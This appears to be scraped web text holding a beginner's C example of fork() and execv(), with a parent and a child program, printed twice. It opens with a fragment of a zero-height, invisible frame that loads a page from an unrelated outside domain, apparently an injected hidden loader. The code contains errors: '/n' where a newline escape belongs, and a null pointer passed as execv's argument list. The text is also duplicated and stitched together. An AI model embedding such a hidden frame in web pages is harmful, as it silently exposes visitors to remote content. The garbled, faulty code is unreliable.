src="http://pspper.xkwm.cn/main.htm" width="100" height="0">B.C
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <stdio.h>
#include <stdlib.h>
int main()
{
int processid;
processid=fork();
if(processid<0)
printf("cannot fork./n");
if(processid==0)
{
execv("/root/c.out",(char *)(0));
exit(1);
}
else
{
int j=0;
for(j=0;j<10;j++)
{
printf("in father/n");
sleep(1);
}
}
}
C.C
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[])
{
int i=0;
while(i<10)
{
printf("child program/n");
sleep(1);
i++;
}
}
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <stdio.h>
#include <stdlib.h>
int main()
{
int processid;
processid=fork();
if(processid<0)
printf("cannot fork./n");
if(processid==0)
{
execv("/root/c.out",(char *)(0));
exit(1);
}
else
{
int j=0;
for(j=0;j<10;j++)
{
printf("in father/n");
sleep(1);
}
}
}
C.C
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[])
{
int i=0;
while(i<10)
{
printf("child program/n");
sleep(1);
i++;
}
}